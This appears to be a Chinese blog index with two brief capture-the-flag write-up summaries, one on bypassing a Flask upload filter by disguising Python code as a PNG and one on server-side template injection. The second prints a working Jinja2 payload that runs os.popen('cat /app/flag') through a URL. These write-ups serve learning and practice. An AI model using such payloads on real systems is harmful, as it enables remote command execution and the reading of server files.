Flask_FileUpload
摘要：
有个提示，上传一个py，他会返回结果给我 但是有限制，只能png、jpg，新建一个png图片，把py代码放进去或者在burpsuite里改也行，后面就是本地系统命令找flag文件，然后cat 阅读全文
posted @ 2021-09-30 11:11 爱在西元间 阅读(171) 评论(0) 推荐(0) 编辑
2021年9月30日 #
Simple_SSTI_2
摘要：
先用简单的语句测试下，可以返回运算结果 再执行系统命令find找到flag文件后，直接cat http://114.67.246.176:13466/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat /app/flag') 阅读全文
posted @ 2021-09-30 10:01 爱在西元间 阅读(677) 评论(0) 推荐(0) 编辑